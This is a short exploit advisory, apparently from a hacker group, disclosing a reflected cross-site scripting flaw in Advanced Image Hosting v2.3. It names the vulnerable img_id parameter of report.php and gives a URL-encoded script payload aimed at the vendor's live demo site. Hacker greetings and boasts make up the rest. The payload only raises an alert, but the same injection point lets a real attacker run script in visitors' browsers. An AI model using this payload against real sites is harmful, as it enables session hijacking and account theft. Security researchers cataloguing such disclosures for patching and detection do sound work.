Advanced Image Hosting 2.3 Cross Site Scripting

`  
=-=-=-=-=-=-=-=-=-=-=-=-=-=-{In The Name Of Allah The Mercifull}-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-  
[~] Tybe: suffering from RemotE CrosS SitE ScripT  
[~] Vendor: yabsoft.info   
[+] Software:AIH   
[+]Version : v2.3  
[~] author: R3d-D3v!L  
[+] TEAM: DEV!L OF SYS  
[~]   
[?] contact: X[at]hotmail.co.jp   
[-]   
[?] Date: 5.53P.2oll   
[?] T!ME: 04:54 am GMT   
[?] Home: soqor.net  
[^]   
[?]  
===============================================================================   
#AIH v2.3 suffering from RemotE CrosS SitE ScripT  
===============================================================================   
  
  
[!] Exploit Already Tested ... on apache  
  
[^] Error console:-  
  
http://yabsoft.info/demo/aihspro/report.php?img_id=CrosS FroM HerE ;)  
  
[?] poC <X> exploit:-   
  
http://yabsoft.info/demo/aihspro/report.php?img_id=%3E%22%3E%3CScRiPt%20%0a%0d%3Ealert(666)%3B%3C/ScRiPt%3E  
  
  
  
[~]-----------------------------{(ƦȜd-DΣV!L)}------------------------------------------------  
#   
[~] Greetz tO: virus_jordan & pal phoneix & H@CK3R M!ND & HACker_ch &dr.h0mer...etc ;  
#   
[~]70 ALL ARAB!AN HACKER 3X3PT : LAM3RZ # ;  
#   
[~] special thanks :all soqor members # ;  
#   
[?] special SupPoRT : packet storm & 1337day & Maksymilian Arciemowicz # ;  
#   
[?]---> ((R3d D3v!L<---&--->JUPA<---aNd--->Devil ro0t)) #;   
#   
[~]spechial FR!ND: they all are spechials ;) #;   
#   
[~] !'M 4R48!4N 3XPL0!73R. #;   
#   
[~](>D!R 4ll 0R D!E<) #;   
#   
[~]---------------------------------------------------------------------------------------------   
`